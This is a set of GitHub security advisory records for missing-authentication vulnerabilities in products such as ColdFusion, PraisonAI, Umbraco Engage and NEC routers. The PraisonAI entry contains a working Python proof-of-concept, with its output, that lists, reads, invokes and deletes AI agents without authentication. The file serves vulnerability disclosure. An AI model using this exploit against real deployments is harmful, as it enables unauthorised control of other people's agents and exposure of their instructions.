CWE-306

{
  "affected": [],
  "aliases": [
    "CVE-2020-13767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-08-26T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Mitel MiCollab application before 9.1.332 for iOS could allow an unauthorized user to access restricted files and folders due to insufficient access control. An exploit requires a rooted iOS device, and (if successful) could allow an attacker to gain access to sensitive information,",
  "id": "GHSA-85v9-vq8p-qg8h",
  "modified": "2022-05-24T17:26:36Z",
  "published": "2022-05-24T17:26:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13767"
    },
    {
      "type": "WEB",
      "url": "https://www.mitel.com/support/security-advisories"
    },
    {
      "type": "WEB",
      "url": "https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-20-0008"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-48325"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T21:16:59Z",
    "severity": "CRITICAL"
  },
  "details": "ColdFusion is affected by a Missing Authentication for Critical Function vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.",
  "id": "GHSA-85wf-cvx8-h26j",
  "modified": "2026-07-14T21:32:23Z",
  "published": "2026-07-14T21:32:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48325"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-27642"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-05T06:15:35Z",
    "severity": "CRITICAL"
  },
  "details": "Vasion Print (formerly PrinterLogic) before Virtual Appliance Host 22.0.933 Application 20.0.2368 allows Unauthenticated Driver Package Editing V-2024-008.",
  "id": "GHSA-8646-xpx9-p8qm",
  "modified": "2025-11-03T21:33:05Z",
  "published": "2025-03-05T06:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27642"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm"
    },
    {
      "type": "WEB",
      "url": "https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Apr/18"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-5486"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-25T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "NetApp OnCommand Unified Manager for Linux versions 7.2 though 7.3 ship with the Java Debug Wire Protocol (JDWP) enabled which allows unauthorized local attackers to execute arbitrary code.",
  "id": "GHSA-8657-j78q-jmw2",
  "modified": "2022-05-13T01:52:48Z",
  "published": "2022-05-13T01:52:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5486"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20180425-0001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-1096"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-12T21:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "SnapCenter versions 4.7 prior to 4.7P2 and 4.8 prior to 4.8P1 are susceptible to a vulnerability which could allow a remote unauthenticated attacker to gain access as an admin user.",
  "id": "GHSA-866c-q5rf-f4vh",
  "modified": "2024-04-04T04:04:31Z",
  "published": "2023-05-12T21:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1096"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230511-0011"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "aodh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-12440"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-14T20:50:05Z",
    "nvd_published_at": "2017-08-18T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "Aodh as packaged in Openstack Ocata and Newton before change-ID I8fd11a7f9fe3c0ea5f9843a89686ac06713b7851 and before Pike-rc1 does not verify that trust IDs belong to the user when creating alarm action with the scheme trust+http, which allows remote authenticated users with knowledge of trust IDs where Aodh is the trustee to obtain a Keystone token and perform unspecified authenticated actions by adding an alarm action with the scheme trust+http, and providing a trust id where Aodh is the trustee.",
  "id": "GHSA-86cv-9gpx-6hwj",
  "modified": "2024-05-14T20:50:05Z",
  "published": "2022-05-13T01:42:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12440"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openstack/aodh/commit/149d3ad2193b4d17df801f82a0a6be62dba564db"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openstack/aodh/commit/92182de328d1f088c5f5a68326d2b207b21e06ea"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:3227"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:0315"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/ossn/+bug/1649333"
    },
    {
      "type": "WEB",
      "url": "https://review.openstack.org/#/c/493823"
    },
    {
      "type": "WEB",
      "url": "https://review.openstack.org/#/c/493824"
    },
    {
      "type": "WEB",
      "url": "https://review.openstack.org/#/c/493826"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2017/dsa-3953"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/100455"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Openstack Aodh can be used to launder Keystone trusts"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.39"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47396"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:27:34Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nPraisonAI\u0027s call server exposes a network-facing agent control API without authentication when `CALL_SERVER_TOKEN` is not configured.\n\nThe affected component is the `praisonai.api.agent_invoke` router as mounted by `praisonai.api.call`. The authentication helper `verify_token()` fails open when `CALL_SERVER_TOKEN` is unset. Since every sensitive agent-control endpoint depends on this helper, starting the call server without a token allows any reachable client to list agents, inspect agent metadata and instructions, invoke agents, and unregister agents.\n\nThis is security-relevant because the bundled call server includes the vulnerable router and binds to `0.0.0.0`. As a result, operators who launch the call server without explicitly setting `CALL_SERVER_TOKEN` may unintentionally expose an unauthenticated remote agent control plane.\n\n### Details\n\nThe vulnerable behavior is caused by a fail-open authentication default.\n\nIn `praisonai/api/agent_invoke.py`, `CALL_SERVER_TOKEN` is read from the environment:\n\n```python\nCALL_SERVER_TOKEN = os.getenv(\u0027CALL_SERVER_TOKEN\u0027)\n```\n\nThe authentication dependency then returns successfully when the token is not configured:\n\n```python\nasync def verify_token(request: Request, authorization: Optional[str] = Header(None)) -\u003e None:\n    if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:\n        return  # No authentication if FastAPI unavailable or no token set\n```\n\nThis means that the absence of `CALL_SERVER_TOKEN` disables authentication entirely.\n\nThe same helper is used by sensitive agent-control routes, including:\n\n```python\n@router.post(\"/agents/{agent_id}/invoke\")\nasync def invoke_agent(..., _: None = Depends(verify_token))\n\n@router.get(\"/agents\")\nasync def list_agents(_: None = Depends(verify_token))\n\n@router.delete(\"/agents/{agent_id}\")\nasync def unregister_agent_endpoint(agent_id: str, _: None = Depends(verify_token))\n\n@router.get(\"/agents/{agent_id}\")\nasync def get_agent_info(agent_id: str, _: None = Depends(verify_token))\n```\n\nThese endpoints allow a caller to:\n\n- list registered agents;\n- retrieve agent metadata;\n- retrieve agent instruction text;\n- invoke agents;\n- unregister agents.\n\nThe vulnerable router is mounted by the call server:\n\n```python\nfrom .agent_invoke import router as agent_invoke_router\napp.include_router(agent_invoke_router)\n```\n\nThe call server then listens on all interfaces:\n\n```python\nuvicorn.run(app, host=\"0.0.0.0\", port=port, log_level=\"warning\")\n```\n\nTherefore, when `praisonai-call` is started without `CALL_SERVER_TOKEN`, the agent-control API becomes reachable without authentication from any client that can access the server.\n\n### PoC\n\nThe following local PoC imports the real `praisonai.api.agent_invoke` router from source, ensures `CALL_SERVER_TOKEN` is absent, registers a demo agent, mounts the router into a local FastAPI app, and sends unauthenticated requests to the vulnerable endpoints.\n\nThe PoC proves that, without sending any authentication material:\n\n1. `GET /api/v1/agents` returns the list of registered agents.\n2. `GET /api/v1/agents/{agent_id}` exposes agent metadata and instructions.\n3. `POST /api/v1/agents/{agent_id}/invoke` executes the registered agent.\n4. `DELETE /api/v1/agents/{agent_id}` unregisters the agent.\n\nRun with:\n\n```bash\nPRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py\n```\n\nFull PoC:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport os\nimport sys\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\n\nREPO_ROOT = Path(os.environ.get(\"PRAISONAI_REPO\", \"/path/to/PraisonAI\")).resolve()\nPRAISON_ROOT = REPO_ROOT / \"src\" / \"praisonai\"\n\n\ndef verify_source() -\u003e None:\n    expected = {\n        PRAISON_ROOT / \"praisonai/api/agent_invoke.py\": [\n            \"CALL_SERVER_TOKEN = os.getenv(\u0027CALL_SERVER_TOKEN\u0027)\",\n            \"if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:\",\n            \u0027@router.post(\"/agents/{agent_id}/invoke\")\u0027,\n            \u0027@router.get(\"/agents\")\u0027,\n            \u0027@router.delete(\"/agents/{agent_id}\")\u0027,\n            \u0027@router.get(\"/agents/{agent_id}\")\u0027,\n        ],\n        PRAISON_ROOT / \"praisonai/api/call.py\": [\n            \"app.include_router(agent_invoke_router)\",\n            \u0027uvicorn.run(app, host=\"0.0.0.0\", port=port, log_level=\"warning\")\u0027,\n        ],\n    }\n\n    for path, needles in expected.items():\n        if not path.exists():\n            raise RuntimeError(f\"source verification failed: file not found: {path}\")\n\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nclass DemoAgent:\n    name = \"demo-agent\"\n    instructions = \"super-secret instructions\"\n    tools = [SimpleNamespace(name=\"danger-tool\")]\n\n    def start(self, message: str) -\u003e str:\n        return f\"echo:{message}\"\n\n\ndef main() -\u003e int:\n    verify_source()\n\n    os.environ.pop(\"CALL_SERVER_TOKEN\", None)\n    sys.path.insert(0, str(PRAISON_ROOT))\n\n    from fastapi import FastAPI\n    from fastapi.testclient import TestClient\n    from praisonai.api.agent_invoke import CALL_SERVER_TOKEN, register_agent, router\n\n    app = FastAPI()\n    app.include_router(router)\n\n    register_agent(\"demo\", DemoAgent())\n\n    client = TestClient(app)\n\n    list_resp = client.get(\"/api/v1/agents\")\n    info_resp = client.get(\"/api/v1/agents/demo\")\n    invoke_resp = client.post(\"/api/v1/agents/demo/invoke\", json={\"message\": \"hello\"})\n    delete_resp = client.delete(\"/api/v1/agents/demo\")\n\n    print(f\"[poc] token_configured={bool(CALL_SERVER_TOKEN)}\")\n    print(f\"[poc] list_status={list_resp.status_code} body={list_resp.json()}\")\n    print(f\"[poc] info_status={info_resp.status_code} body={info_resp.json()}\")\n    print(f\"[poc] invoke_status={invoke_resp.status_code} body={invoke_resp.json()}\")\n    print(f\"[poc] delete_status={delete_resp.status_code} body={delete_resp.json()}\")\n\n    if CALL_SERVER_TOKEN:\n        raise SystemExit(\"[poc] MISS: CALL_SERVER_TOKEN unexpectedly set in test process\")\n\n    if list_resp.status_code != 200 or \"demo\" not in list_resp.json().get(\"agents\", []):\n        raise SystemExit(\"[poc] MISS: unauthenticated agent listing failed\")\n\n    if info_resp.status_code != 200 or info_resp.json().get(\"instructions\") != \"super-secret instructions\":\n        raise SystemExit(\"[poc] MISS: unauthenticated agent info leak failed\")\n\n    if invoke_resp.status_code != 200 or invoke_resp.json().get(\"result\") != \"echo:hello\":\n        raise SystemExit(\"[poc] MISS: unauthenticated agent invocation failed\")\n\n    if delete_resp.status_code != 200:\n        raise SystemExit(\"[poc] MISS: unauthenticated agent unregister failed\")\n\n    print(\"[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nObserved result:\n\n```text\n[poc] token_configured=False\n[poc] list_status=200 body={\u0027agents\u0027: [\u0027demo\u0027], \u0027count\u0027: 1, \u0027status\u0027: \u0027success\u0027}\n[poc] info_status=200 body={\u0027agent_id\u0027: \u0027demo\u0027, \u0027status\u0027: \u0027registered\u0027, \u0027type\u0027: \u0027DemoAgent\u0027, \u0027name\u0027: \u0027demo-agent\u0027, \u0027instructions\u0027: \u0027super-secret instructions\u0027, \u0027tools\u0027: [\u0027danger-tool\u0027]}\n[poc] invoke_status=200 body={\u0027result\u0027: \u0027echo:hello\u0027, \u0027session_id\u0027: \u0027default\u0027, \u0027status\u0027: \u0027success\u0027, \u0027metadata\u0027: {\u0027agent_id\u0027: \u0027demo\u0027, \u0027message_length\u0027: 5, \u0027response_length\u0027: 10}}\n[poc] delete_status=200 body={\u0027message\u0027: \"Agent \u0027demo\u0027 unregistered successfully\", \u0027status\u0027: \u0027success\u0027}\n[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent\n```\n\nThis confirms that the agent-control endpoints are accessible without authentication when `CALL_SERVER_TOKEN` is unset.\n\n### Impact\n\nIf an operator runs the PraisonAI call server without explicitly setting `CALL_SERVER_TOKEN`, any reachable client may be able to:\n\n- enumerate registered agents;\n- read agent metadata;\n- read agent instruction text;\n- invoke agents;\n- trigger downstream tools or external integrations connected to agents;\n- consume model or API budget through repeated invocation;\n- unregister agents and disrupt availability.\n\nThe impact depends on the deployed agents and their connected tools. For agents wired to external APIs, internal systems, local tools, or privileged actions, this creates a remote unauthenticated control surface.\n\nThe issue is not limited to information disclosure. The unauthenticated `invoke` endpoint can trigger agent execution, and the unauthenticated `delete` endpoint can remove registered agents.\n\n### Suggested remediation\n\nRecommended fixes:\n\n1. Fail closed when `CALL_SERVER_TOKEN` is unset.\n\n   The authentication dependency should reject requests unless authentication is explicitly configured and a valid token is supplied.\n\n2. Refuse to mount the agent invocation router unless authentication is configured.\n\n3. If unauthenticated mode is intended for local development, bind to `127.0.0.1` by default when `CALL_SERVER_TOKEN` is absent.\n\n4. Add a startup error or highly visible warning when the call server is started without authentication.\n\n5. Add regression tests that assert `401 Unauthorized` for all sensitive agent routes when no valid token is supplied.\n\n6. Consider requiring an explicit unsafe flag, such as `--allow-unauthenticated-call-server`, before allowing the server to start without authentication.\n\n### Security boundary\n\nThis report concerns the default authentication behavior of a network-facing server component. The issue is not that users can intentionally disable authentication for trusted local development. The issue is that the server fails open when `CALL_SERVER_TOKEN` is missing while the bundled server binds to `0.0.0.0`, which can expose the agent-control API remotely.",
  "id": "GHSA-86qc-r5v2-v6x6",
  "modified": "2026-05-29T22:27:34Z",
  "published": "2026-05-29T22:27:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI call server exposes unauthenticated agent listing, invocation, and deletion when CALL_SERVER_TOKEN is unset"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Umbraco.Engage.Forms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "16.0.0"
            },
            {
              "fixed": "16.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Umbraco.Engage.Forms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "17.0.0"
            },
            {
              "fixed": "17.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-306",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-27T18:35:57Z",
    "nvd_published_at": "2026-02-26T22:20:47Z",
    "severity": "HIGH"
  },
  "details": "### Description\nA vulnerability has been identified in Umbraco Engage where certain API endpoints are exposed without enforcing authentication or authorization checks. The affected endpoints can be accessed directly over the network without requiring a valid session or user credentials. By supplying a user-controlled identifier parameter (e.g., ?id=), an attacker can retrieve sensitive data associated with arbitrary records.\n\nBecause no access control validation is performed, the endpoints are vulnerable to enumeration attacks, allowing attackers to iterate over identifiers and extract data at scale.\n\n### Impact\nAn unauthenticated attacker can retrieve sensitive Engage-related data by directly querying the affected API endpoints. The vulnerability allows arbitrary record access through predictable or enumerable identifiers.\n\nThe confidentiality impact is considered high. No direct integrity or availability impact has been identified.\n\nThe scope of exposed data depends on the deployment but may include analytics data, tracking data, customer-related information, or other Engage-managed content.\n\n### Patches\nThe vulnerability affects both v16 and v17. Patches have already been released. Users are advised to update to 16.2.1 or 17.1.1\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### References\n_Are there any links users can visit to find out more?_",
  "id": "GHSA-86vq-ccwf-rm62",
  "modified": "2026-03-19T16:13:28Z",
  "published": "2026-02-27T18:35:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/umbraco/Umbraco.Engage.Issues/security/advisories/GHSA-86vq-ccwf-rm62"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27449"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/umbraco/Umbraco.Engage.Issues"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Umbraco.Engage.Forms Allows Unauthorized Access to Multiple API Endpoints"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-13125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T04:17:09Z",
    "severity": "HIGH"
  },
  "details": "GeoWebPlayer (also called \"Web Plugin\" in the GV-VMS documentation and \"WS Player\" for VMS-Cloud) is an addon that can be installed with various GeoVision software (GV-VMS, GV-Cloud, ...). It creates a websocket server that expands the capabilities of the various web-interfaces provided by the GeoVision software and may be necessary for them to function properly.\n\nIn order to access the websocket server, no authentication is required. As such, any malicious website can attempt to open a connection to the server and potentially access sensitive APIs. In particular, it\u0027s possible to call a combination of the `create` method and  `getScreenCapture`  to retrieve the content of the user\u0027s screen.",
  "id": "GHSA-8728-ccm5-wcj7",
  "modified": "2026-07-02T06:34:03Z",
  "published": "2026-07-02T06:34:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13125"
    },
    {
      "type": "WEB",
      "url": "https://www.geovision.com.tw/cyber_security.php"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2026-2370"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-0355"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-15T08:15:26Z",
    "severity": "HIGH"
  },
  "details": "Missing Authentication for Critical Function vulnerability in NEC Corporation Aterm WG2600HS Ver.1.7.2 and earlier, WF1200CRS Ver.1.6.0 and earlier, WG1200CRS Ver.1.5.0 and earlier, GB1200PE Ver.1.3.0 and earlier, WG2600HP4 Ver.1.4.2 and earlier, WG2600HM4 Ver.1.4.2 and earlier, WG2600HS2 Ver.1.3.2 and earlier, WX3000HP Ver.2.4.2 and earlier and WX4200D5 Ver.1.2.4 and earlier allows a attacker to get a Wi-Fi password via the internet.",
  "id": "GHSA-872h-pcfc-25m6",
  "modified": "2025-01-15T09:30:50Z",
  "published": "2025-01-15T09:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0355"
    },
    {
      "type": "WEB",
      "url": "https://jpn.nec.com/security-info/secinfo/nv25-003_en.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}